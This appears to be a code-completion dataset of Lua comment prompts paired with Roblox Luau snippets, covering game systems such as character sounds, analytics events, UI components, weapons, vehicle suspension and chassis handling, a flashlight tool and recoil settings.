rootPart.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\nend\n\nlocal character = script.Parent\nlocal humanoid = character:WaitForChild(\"Humanoid\")\nlocal rootPart = character:WaitForChild(\"HumanoidRootPart\")\n\nreturn initializeSoundSystem(humanoid, rootPart)\n"} +{"prompt": "-- context : (string)\n-- action : (string)\n-- label : (string)\n-- value : (number, optional)", "completion": "\nfunction GAReporter:sendEvent(context, action, label, value)\n\tassert(self.trackingId ~= \"UA-00000000-00\", \"** YOU HAVE NOT YET SET YOUR GOOGLE ANALYTICS TRACKING ID IN CONFIG **\")\n\n\t-- data validation\n\tlocal function validateStringInput(var, name, length)\n\t\tif type(var) == \"string\" then\n\t\t\tif #var > length then\n\t\t\t\twarn(string.format(\"%s cannot be longer than %d chars\", name, length))\n\t\t\t\tvar = var:sub(1, length - 1)\n\t\t\t\twarn(string.format(\"%s has been truncated to %d chars\", name, #var))\n\t\t\tend\n\t\telse\n\t\t\terror(string.format(\"%s must be a string\", name))\n\t\tend\n\tend\n\n\tvalidateStringInput(context, \"Context\", 150)\n\tvalidateStringInput(action, \"Action\", 500)\n\tvalidateStringInput(label, \"Label\", 500)\n\n\tif value then\n\t\tassert(type(value) == \"number\", \"Value must be a number\")\n\t\tassert(value < 0, \"Value must be greater than 0\")\n\tend\n\n\t-- construct some args\n\tlocal args = {}\n\targs[\"t\"] = \"event\"\n\targs[\"ec\"] = context\n\targs[\"ea\"] = action\n\tif label then\n\t\targs[\"el\"] = label\n\tend\n\tif value then\n\t\targs[\"ev\"] = value\n\tend\n\n\treturn sendReport(self._networking, self.trackingId, self.clientId, self.userId, args)\nend\n"} +{"prompt": "-- A state object which follows another state object using spring simulation.", "completion": "\nexport type Spring = PubTypes.Spring & {\n\t_speed: PubTypes.CanBeState,\n\t_speedIsState: boolean,\n\t_lastSpeed: number,\n\t_damping: PubTypes.CanBeState,\n\t_dampingIsState: boolean,\n\t_lastDamping: number,\n\t_goalState: State,\n\t_goalValue: T,\n\t_currentType: string,\n\t_currentValue: T,\n\t_springPositions: {number},\n\t_springGoals: {number},\n\t_springVelocities: {number}\n}\n"} +{"prompt": "--[[\n\tInternal method used by __update to apply new props and state\n\n\tReturns true if the update was completed, false if it was cancelled by shouldUpdate\n]]", "completion": "\nfunction Component:__resolveUpdate(incomingProps, incomingState)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__resolveUpdate`\")\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal virtualNode = internalData.virtualNode\n\tlocal reconciler = internalData.reconciler\n\n\tlocal oldProps = self.props\n\tlocal oldState = self.state\n\n\tif incomingProps == nil then\n\t\tincomingProps = oldProps\n\tend\n\tif incomingState == nil then\n\t\tincomingState = oldState\n\tend\n\n\tif self.shouldUpdate ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.ShouldUpdate\n\t\tlocal continueWithUpdate = self:shouldUpdate(incomingProps, incomingState)\n\n\t\tif not continueWithUpdate then\n\t\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Idle\n\t\t\treturn false\n\t\tend\n\tend\n\n\tif self.willUpdate ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.WillUpdate\n\t\tself:willUpdate(incomingProps, incomingState)\n\tend\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Render\n\n\tself.props = incomingProps\n\tself.state = incomingState\n\n\tlocal renderResult = virtualNode.instance:render()\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren\n\treconciler.updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, renderResult)\n\n\tif self.didUpdate ~= nil then\n\t\tinternalData.lifecyclePhase = ComponentLifecyclePhase.DidUpdate\n\t\tself:didUpdate(oldProps, oldState)\n\tend\n\n\tinternalData.lifecyclePhase = ComponentLifecyclePhase.Idle\n\treturn true\nend\n\nreturn Component\n"} +{"prompt": "-- and (IsServer or weaponInstance:IsDescendantOf(Players.LocalPlayer))", "completion": "\n\nfunction WeaponsSystem.onWeaponAdded(weaponInstance)\n\tlocal weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)\n\tif not weapon then\n\t\tWeaponsSystem.createWeaponForInstance(weaponInstance)\n\tend\nend\n\nfunction WeaponsSystem.onWeaponRemoved(weaponInstance)\n\tlocal weapon = WeaponsSystem.getWeaponForInstance(weaponInstance)\n\tif weapon then\n\t\tweapon:onDestroyed()\n\tend\n\tWeaponsSystem.knownWeapons[weaponInstance] = nil\nend\n\nfunction WeaponsSystem.getRemoteEvent(name)\n\tif not WeaponsSystem.networkFolder then\n\t\treturn\n\tend\n\n\tlocal remoteEvent = WeaponsSystem.remoteEvents[name]\n\tif IsServer then\n\t\tif not remoteEvent then\n\t\t\twarn(\"No RemoteEvent named \", name)\n\t\t\treturn nil\n\t\tend\n\n\t\treturn remoteEvent\n\telse\n\t\tif not remoteEvent then\n\t\t\tremoteEvent = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)\n\t\tend\n\n\t\treturn remoteEvent\n\tend\nend\n\nfunction WeaponsSystem.getRemoteFunction(name)\n\tif not WeaponsSystem.networkFolder then\n\t\treturn\n\tend\n\n\tlocal remoteFunc = WeaponsSystem.remoteFunctions[name]\n\tif IsServer then\n\t\tif not remoteFunc then\n\t\t\twarn(\"No RemoteFunction named \", name)\n\t\t\treturn nil\n\t\tend\n\n\t\treturn remoteFunc\n\telse\n\t\tif not remoteFunc then\n\t\t\tremoteFunc = WeaponsSystem.networkFolder:WaitForChild(name, math.huge)\n\t\tend\n\n\t\treturn remoteFunc\n\tend\nend\n\nfunction WeaponsSystem.setWeaponEquipped(weapon, equipped)\n\tassert(not IsServer, \"WeaponsSystem.setWeaponEquipped should only be called on the client.\")\n\tif not weapon then\n\t\treturn\n\tend\n\n\tlocal lastWeapon = WeaponsSystem.currentWeapon\n\tlocal hasWeapon = false\n\tlocal weaponChanged = false\n\n\tif lastWeapon == weapon then\n\t\tif not equipped then\n\t\t\tWeaponsSystem.currentWeapon = nil\n\t\t\thasWeapon = false\n\t\t\tweaponChanged = true\n\t\telse\n\t\t\tweaponChanged = false\n\t\tend\n\telse\n\t\tif equipped then\n\t\t\tWeaponsSystem.currentWeapon = weapon\n\t\t\thasWeapon = true\n\t\t\tweaponChanged = true\n\t\tend\n\tend\n\n\tif WeaponsSystem.camera then\n\t\tWeaponsSystem.camera:resetZoomFactor()\n\t\tWeaponsSystem.camera:setHasScope(false)\n\n\t\tif WeaponsSystem.currentWeapon then\n\t\t\tWeaponsSystem.camera:setZoomFactor(WeaponsSystem.currentWeapon:getConfigValue(\"ZoomFactor\", 1.1))\n\t\t\tWeaponsSystem.camera:setHasScope(WeaponsSystem.currentWeapon:getConfigValue(\"HasScope\", false))\n\t\tend\n\tend\n\n\tif WeaponsSystem.gui then\n\t\tWeaponsSystem.gui:setEnabled(hasWeapon)\n\n\t\tif WeaponsSystem.currentWeapon then\n\t\t\tWeaponsSystem.gui:setCrosshairWeaponScale(WeaponsSystem.currentWeapon:getConfigValue(\"CrosshairScale\", 1))\n\t\telse\n\t\t\tWeaponsSystem.gui:setCrosshairWeaponScale(1)\n\t\tend\n\tend\n\n\tif weaponChanged then\n\t\tWeaponsSystem.CurrentWeaponChanged:Fire(weapon.instance, lastWeapon and lastWeapon.instance)\n\tend\nend\n\nfunction WeaponsSystem.getHumanoid(part)\n\twhile part and part ~= workspace do\n\t\tif part:IsA(\"Model\") and part.PrimaryPart and part.PrimaryPart.Name == \"HumanoidRootPart\" then\n\t\t\treturn part:FindFirstChildOfClass(\"Humanoid\")\n\t\tend\n\n\t\tpart = part.Parent\n\tend\nend\n\nfunction WeaponsSystem.getPlayerFromHumanoid(humanoid)\n\tfor _, player in ipairs(Players:GetPlayers()) do\n\t\tif player.Character and humanoid:IsDescendantOf(player.Character) then\n\t\t\treturn player\n\t\tend\n\tend\nend\n\nlocal function _defaultDamageCallback(system, target, amount, damageType, dealer, hitInfo, damageData)\n\tif target:IsA(\"Humanoid\") then\n\t\ttarget:TakeDamage(amount)\n\tend\nend\n\nfunction WeaponsSystem.doDamage(target, amount, damageType, dealer, hitInfo, damageData)\n\tif not target or ancestorHasTag(target, \"WeaponsSystemIgnore\") then\n\t\treturn\n\tend\n\tif IsServer then\n\t\tif target:IsA(\"Humanoid\") and dealer:IsA(\"Player\") and dealer.Character then\n\t\t\tlocal dealerHumanoid = dealer.Character:FindFirstChildOfClass(\"Humanoid\")\n\t\t\tlocal targetPlayer = Players:GetPlayerFromCharacter(target.Parent)\n\t\t\tif dealerHumanoid and target ~= dealerHumanoid and targetPlayer then\n\t\t\t\t-- Trigger the damage indicator\n\t\t\t\tWeaponData:FireClient(targetPlayer, \"HitByOtherPlayer\", dealer.Character.HumanoidRootPart.CFrame.Position)\n\t\t\tend\n\t\tend\n\n\t\t-- NOTE: damageData is a more or less free-form parameter that can be used for passing information from the code that is dealing damage about the cause.\n\t\t-- .The most obvious usage is extracting icons from the various weapon types (in which case a weapon instance would likely be passed in)\n\t\t-- ..The default weapons pass in that data\n\t\tlocal handler = _damageCallback or _defaultDamageCallback\n\t\thandler(WeaponsSystem, target, amount, damageType, dealer, hitInfo, damageData)\n\tend\nend\n\nlocal function _defaultGetTeamCallback(player)\n\treturn 0\nend\n\nfunction WeaponsSystem.getTeam(player)\n\tlocal handler = _getTeamCallback or _defaultGetTeamCallback\n\treturn handler(player)\nend\n\nfunction WeaponsSystem.playersOnDifferentTeams(player1, player2)\n\tif player1 == player2 or player1 == nil or player2 == nil then\n\t\t-- This allows players to damage themselves and NPC's\n\t\treturn true\n\tend\n\n\tlocal player1Team = WeaponsSystem.getTeam(player1)\n\tlocal player2Team = WeaponsSystem.getTeam(player2)\n\treturn player1Team == 0 or player1Team ~= player2Team\nend\n\nreturn WeaponsSystem\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 8000 \t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 8000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 30\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .3\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- events", "completion": "\n\nREMOTES.Pin.OnServerEvent:connect(function(player, action, ...)\n\tlocal squad\t= GetSquad(player)\n\t\n\tif squad then\n\t\tif action == \"Add\" then\n\t\t\tfor _, p in pairs(squad:GetChildren()) do\n\t\t\t\tif p.Value ~= player then\n\t\t\t\t\tREMOTES.Pin:FireClient(p.Value, action, player, ...)\n\t\t\t\tend\n\t\t\tend\n\t\telseif action == \"Remove\" then\n\t\t\tfor _, p in pairs(squad:GetChildren()) do\n\t\t\t\tif p.Value ~= player then\n\t\t\t\t\tREMOTES.Pin:FireClient(p.Value, action, player)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nPlayers.PlayerAdded:connect(function(player)\n\tlocal info\t\t= player:GetJoinData()\n\tlocal squadName\t= info.TeleportData\n\tlocal squad\n\t\n\tif squadName then\n\t\tsquad = SQUADS:FindFirstChild(squadName)\n\tend\t\n\t\n\tif not squad then\n\t\tsquad\t= CreateSquad(squadName)\n\tend\n\t\n\tAddPlayerToSquad(player, squad)\nend)\n\nPlayers.PlayerRemoving:connect(function(player)\n\tRemovePlayer(player)\nend)\n"} +{"prompt": "--[[\n\tROBLOX deviation:\n\tskipped whole file as it seems unnecessary in Lua environment\n]]", "completion": "\n\nreturn {\n\tdefault = function()\n\t\treturn {}\n\tend,\n}\n"} +{"prompt": "--Set target steering position based on current velocity", "completion": "\nfunction Chassis.UpdateSteering(steer, currentVel)\n\tlocal baseSteer = steer\n\tlocal targetSteer = 0\n\t\n\tlocal vehicleSeat = Chassis.GetDriverSeat()\n\tlocal maxSpeed = VehicleParameters.MaxSpeed\n\tlocal maxSteer = VehicleParameters.MaxSteer\n\t\n\tlocal currentVelocity = vehicleSeat.Velocity\n\t\n\tif LimitSteerAtHighVel then\n\t\tlocal c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1\n\t\t--decrease steer value as speed increases to prevent tipping (handbrake cancels this)\n\t\tsteer = steer/c\n\tend\n\tSteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer\nend\n\nfunction Chassis.UpdateThrottle(currentSpeed, throttle)\n\tlocal targetVel = 0\n\tlocal effectsThrottleState = false\n\tlocal gainModifier = 0\n\t\n\tif math.abs(throttle) < 0.1 then\n\t\t-- Idling\n\t\tsetMotorMaxAcceleration(math.huge)\n\t\tsetMotorTorque(2000)\n\telseif math.sign(throttle * currentSpeed) > 0 or math.abs(currentSpeed) < 0.5 then\n\t\tsetMotorMaxAcceleration(math.huge)\n\t\t\n\t\tlocal velocity = Chassis.driverSeat.Velocity\n\t\tlocal velocityVector = velocity.Unit\n\t\tlocal directionalVector = Chassis.driverSeat.CFrame.lookVector\n\t\tlocal dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0\n\t\t\n\t\tsetMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle))\n\t\t-- Arbitrary large number\n\t\tlocal movingBackwards = dotProd < 0\n\t\tlocal acceleratingBackwards = throttle < 0\n\t\tlocal useReverse = (movingBackwards and acceleratingBackwards)\n\t\t\n\t\tlocal maxSpeed = (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed)\n\t\ttargetVel = math.sign(throttle) * maxSpeed\n\t\t\n\t\t-- if we are approaching max speed, we should take that as an indication of throttling down, even if not from input\n\t\tlocal maxAccelSpeed = targetVel\n\t\tlocal speedPercent = ((maxAccelSpeed-currentSpeed)/maxAccelSpeed) -- 0 if max speed, 1 if stopped\n\t\t\n\t\t-- lets say we start throttling down after reaching 75% of max speed, then linearly drop to 0\n\t\tlocal function quad(x)\n\t\t\treturn math.sign(x)*(x^2)\n\t\tend\n\t\t\n\t\t\n\t\tlocal r = math.abs(velocity.Magnitude / maxSpeed*2.5) -- adding a bit to the max speed so that it sounds better (always trying to rev engines)\n\t\tlocal desiredRPM = math.exp(-3*r*r)\n\t\t\n\t\t\n\t\tgainModifier = desiredRPM\n\t\t\n\t\tif gainModifier > 0 then\n\t\t\teffectsThrottleState = true\n\t\tend\n\telse\n\t\t-- Braking\n\t\tsetMotorMaxAcceleration(100)\n\t\tsetMotorTorque(ActualBrakingTorque * throttle * throttle)\n\t\ttargetVel = math.sign(throttle) * 500\n\tend\n\t\n\tChassis.SetMotorVelocity(targetVel)\n\t\n\tEffects:SetThrottleEnabled(effectsThrottleState, gainModifier)\n\nend\n\nlocal redressingState = false\nlocal targetAttachment\nfunction Chassis.Redress()\n\tif redressingState then\n\t\treturn\n\tend\n\tredressingState = true\n\tlocal p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 )\n\tlocal xc = Chassis.driverSeat.CFrame.RightVector\n\txc = Vector3.new(xc.x,0,xc.z)\n\txc = xc.Unit\n\tlocal yc = Vector3.new(0,1,0)\n\n\tif not targetAttachment then\n\t\ttargetAttachment = RedressMount.RedressTarget\n\tend\n\n\ttargetAttachment.Parent = Workspace.Terrain\n\ttargetAttachment.Position = p\n\ttargetAttachment.Axis = xc\n\ttargetAttachment.SecondaryAxis = yc\n\tRedressMount.RedressOrientation.Enabled = true\n\tRedressMount.RedressPosition.Enabled = true\n\twait(1.5)\n\tRedressMount.RedressOrientation.Enabled = false\n\tRedressMount.RedressPosition.Enabled = false\n\ttargetAttachment.Parent = RedressMount\n\twait(2)\n\tredressingState = false\nend\n\nfunction Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle)\n\tChassis.UpdateThrottle(1, 1) --Values must be changed to replicate to client.\n\tChassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients\n\tChassis.EnableHandbrake()\n\tsetMotorTorque(ActualBrakingTorque)\n\tChassis.SetMotorVelocity(0)\n\tChassis.UpdateSteering(0, 0)\n\tRedressMount.RedressOrientation.Enabled = true\n\tRedressMount.RedressPosition.Enabled = true\n\tRedressMount.RedressOrientation.Enabled = false\n\tRedressMount.RedressPosition.Enabled = false\n\tredressingState = false\nend\n\nreturn Chassis\n"} +{"prompt": "---------------\n--// Functions\n---------------", "completion": "\nlocal function toggleBuild()\n\tif sellMode then\n\t\tbutton.BackgroundColor3 = Color3.new(0.658824, 0.368627, 0.345098)\n\telse\n\t\tbutton.BackgroundColor3 = Color3.new(0.658824, 0.658824, 0.658824)\n\tend\nend\n\nlocal function pickupModeVisuals()\n\twhile sellMode do\n\t\ttask.wait(.01)\n\t\tpcall(function()\n\t\t\tlocal object = Mouse.Target\n\t\t\tlocal selected = nil\n\n\n\t\t\tlocal P = object.Parent\n\t\t\tlocal PP = object.Parent.Parent\n\t\t\tlocal PPP = object.Parent.Parent.Parent\n\t\t\tlocal TANG = nil\n\n\t\t\tif P.Name == \"Builds\" then\n\t\t\t\tTANG = object\n\t\t\telseif PP.Name == \"Builds\" then\n\t\t\t\tTANG = P\n\t\t\telseif PPP.Name == \"Builds\" then\n\t\t\t\tTANG = PP\n\t\t\tend\n\n\t\t\tif (object) and (TANG) then\n\t\t\t\tif TANG ~= selected then\n\t\t\t\t\tselected = TANG\n\t\t\t\t\t-- Not undo everything if already done\n\t\t\t\t\t-- Replace existing\n\n\t\t\t\t\tpcall(function()\n\t\t\t\t\t\tPart:Destroy()\n\t\t\t\t\tend)\n\n\t\t\t\t\tPart = Instance.new(\"Part\")\n\t\t\t\t\tPart.Size = Vector3.new(5,5,5)\n\t\t\t\t\tPart.Color = Color3.new(1,0,0)\n\t\t\t\t\tPart.Parent = workspace\n\t\t\t\t\tPart.Transparency = 0.8\n\t\t\t\t\tPart.Anchored = true\n\t\t\t\t\tPart.CanCollide = false\n\t\t\t\t\tPart.CanQuery = false\n\t\t\t\t\tPart.CanTouch = false\n\n\t\t\t\t\tlocal SelectionBox = Instance.new(\"SelectionBox\")\n\t\t\t\t\tSelectionBox.Color3 = Color3.new(1,0,0)\n\t\t\t\t\tSelectionBox.Adornee = Part\n\t\t\t\t\tSelectionBox.Parent = Part\n\t\t\t\t\tSelectionBox.LineThickness = 0.025\n\t\t\t\t\t\n\t\t\t\t\tlocal X,Y,Z\n\t\t\t\t\t\n\t\t\t\t\tif TANG:IsA(\"Model\") then\n\t\t\t\t\t\t\n\t\t\t\t\t\tX,Y,Z = TANG:GetBoundingBox().X, TANG:GetBoundingBox().Y, TANG:GetBoundingBox().Z\n\n\t\t\t\t\telse\n\t\t\t\t\t\tX,Y,Z = TANG.Position.X, TANG.Position.Z, TANG.Position.Z\n\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tPart.Position = Vector3.new(X,2.6,Z)\n\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tpcall(function()\n\t\t\t\t\tPart:Destroy()\n\t\t\t\tend)\n\t\t\tend\t\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/createProcessObject.ts", "completion": "\n"} +{"prompt": "-- References", "completion": "\nTool = script.Parent;\nSupport = require(Tool:WaitForChild 'SupportLibrary');\nRegionModule = require(Tool:WaitForChild 'Region by AxisAngle');\n"} +{"prompt": "-- Get part", "completion": "\nlocal partDockA1 = workspace.Hologram_Station.dockA1\n"} +{"prompt": "-- functions", "completion": "\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n RightShoulder:SetDesiredAngle(3.14)\n\tLeftShoulder:SetDesiredAngle(-3.14)\n\tRightHip:SetDesiredAngle(0)\n\tLeftHip:SetDesiredAngle(0)\nend\n\n"} +{"prompt": "-- Key that user can press to interact with game", "completion": "\nlocal KEY1\nif IS_MOBILE then\n\tKEY1 = nil\nelseif IS_CONSOLE then\n\tKEY1 = Enum.KeyCode.ButtonX\nelse\n\tKEY1 = Enum.KeyCode.E\nend\n"} +{"prompt": "-- Indicate readiness", "completion": "\nComponent.Ready = true;\n\nreturn Component;\n"} +{"prompt": "------------------------", "completion": "\n\n\n\n\n\nlocal maincf = CFrame.new(0, 0, 0) \n\n\t\n\t\n\tequip = true\n\tarms = VMS:WaitForChild(\"v_FlashlightV2\"):Clone()\n\n\tarms.HumanoidRootPart.SpotLight.Brightness = brightness\n\tarms.HumanoidRootPart.SpotLight.Range = range\n\tarms.HumanoidRootPart.SpotLight.Shadows = shadowson\n\n\tarms.Parent = cam\n\tarms.Name = \"Arms\"\n\t\n\n\t\n\trun.RenderStepped:Connect(function()\n\t\tif equip == true and arms then\n\t\t\tarms:SetPrimaryPartCFrame(\n\t\t\t\tcam.CFrame\n\t\t\t\t* maincf\n\n\t\t\t\t\n\n\t\t\t)\n\t\t\t\n\n\n\t\tend\n\tend)\n\t\n\n\nUIS.InputEnded:Connect(function(input)\n\tif input.KeyCode == Enum.KeyCode[FlashlightKey] and equip == true then\n\t\tif ison == true then\n\t\t\tison = false\n\t\t\tarms.HumanoidRootPart.SpotLight.Enabled = false\n\t\t\tFlashlightGui.FlashlightOn.Visible = false\n\t\t\tFlashlightGui.FlashlightOff.Visible = true\n\t\t\tarms.HumanoidRootPart.Flashlightss:Play()\n\t\t\t\n\n\t\telse\n\t\t\tison = true\n\t\t\tarms.HumanoidRootPart.SpotLight.Enabled = true\n\t\t\tFlashlightGui.FlashlightOff.Visible = false\n\t\t\tFlashlightGui.FlashlightOn.Visible = true\n\t\t\tarms.HumanoidRootPart.Flashlightss:Play()\n\t\t\t\n\n\t\tend\n\tend\nend)\n\n\nlocal de = true\nfunction onButtonPress()\n\tif de == true and equip == true then\n\t\tde = false\n\t\tif ison == true then\n\t\t\tison = false\n\t\t\tarms.HumanoidRootPart.SpotLight.Enabled = false\n\t\t\tFlashlightGui.FlashlightOn.Visible = false\n\t\t\tFlashlightGui.FlashlightOff.Visible = true\n\t\t\tarms.HumanoidRootPart.Flashlightss:Play()\n\n\n\t\telse\n\t\t\tison = true\n\t\t\tarms.HumanoidRootPart.SpotLight.Enabled = true\n\t\t\tFlashlightGui.FlashlightOff.Visible = false\n\t\t\tFlashlightGui.FlashlightOn.Visible = true\n\t\t\tarms.HumanoidRootPart.Flashlightss:Play()\n\n\t\tend\n\t\t\n\t\twait(.75)\n\t\tde = true\n\tend\nend\n\n\nCon:SetImage(\"FlashLight\", \"rbxassetid://2883826635\")\t\n\nCon:BindAction(\"FlashLight\",onButtonPress,true,\"F\")\n\n\n\n\t\ngame.Players.LocalPlayer.Character:WaitForChild(\"Humanoid\").Died:Connect(function()\n\tequip = false\n\tison = false\n\tarms:Destroy()\nend)\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.75; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.26; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.75; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.23; -- How much the camera flicks when aiming\n\t\n\tCamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 6; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 10.2; -- Upward gun rotation when not aiming\n\tAimKickback = 9.11; -- Upward gun rotation when aiming\n\t"} +{"prompt": "-- map to world lights", "completion": "\nlocal welcomeUIGlow = workspace.UI.WelcomeUIFrameLighting.SurfaceLight"} +{"prompt": "-- ROBLOX deviation: tuples not currently supported in Luau so we use a number array instead", "completion": "\nexport type RGB = { number }\n\nreturn {\n\taForeground2 = 90,\n\taBackground2 = 225,\n\n\tbForeground2 = 23,\n\tbBackground2 = 195,\n\n\taForeground3 = { 0x80, 0, 0x80 },\n\taBackground3 = { 0xff, 0xd7, 0xff },\n\n\tbForeground3 = { 0, 0x5f, 0x5f },\n\tbBackground3 = { 0xd7, 0xff, 0xff },\n}\n"} +{"prompt": "--[[*\n * Returns true if **any** of the given glob `patterns` match the specified `string`.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch.isMatch(string, patterns[, options]);\n *\n * console.log(picomatch.isMatch('a.a', ['b.*', '*.a'])); //=> true\n * console.log(picomatch.isMatch('a.a', 'b.*')); //=> false\n * ```\n * @param {String|Array} str The string to test.\n * @param {String|Array} patterns One or more glob patterns to use for matching.\n * @param {Object} [options] See available [options](#options).\n * @return {Boolean} Returns true if any patterns match `str`\n * @api public\n ]]", "completion": "\n\nfunction picomatch.isMatch(str: string, patterns, options: Object?)\n\treturn picomatch(patterns, options)(str)\nend\n"} +{"prompt": "--[[Run]]", "completion": "\n\n\t--Print Version\n\tlocal ver=require(car[\"A-Chassis Tune\"].README)\n\tprint(\"//INSPARE: AC6 Loaded - Build \"..ver)\n\t\n\t--Runtime Loop\n\twhile wait() do\n\t\t--Steering\n\t\tSteering()\n\t\t\n\t\t--Powertrain\n\t\tEngine()\n\t\t\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\t\t\n\t\t--Update External Values\n\t\t_IsOn = script.Parent.IsOn.Value\n\t\t_InControls = script.Parent.ControlsOpen.Value\n\t\tscript.Parent.Values.Gear.Value = _CGear\n\t\tscript.Parent.Values.RPM.Value = _RPM\n\t\tscript.Parent.Values.Horsepower.Value = _HP\n\t\tscript.Parent.Values.Torque.Value = _HP * 5250 / _RPM\n\t\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\t\tscript.Parent.Values.Throttle.Value = _GThrot\n\t\tscript.Parent.Values.Brake.Value = _GBrake\n\t\tscript.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\tscript.Parent.Values.SteerT.Value = _GSteerT\n\t\tscript.Parent.Values.PBrake.Value = _PBrake\n\t\tscript.Parent.Values.TCS.Value = _TCS\n\t\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\t\tscript.Parent.Values.ABS.Value = _ABS\n\t\tscript.Parent.Values.ABSActive.Value = _ABSActive\n\t\tscript.Parent.Values.MouseSteerOn.Value = 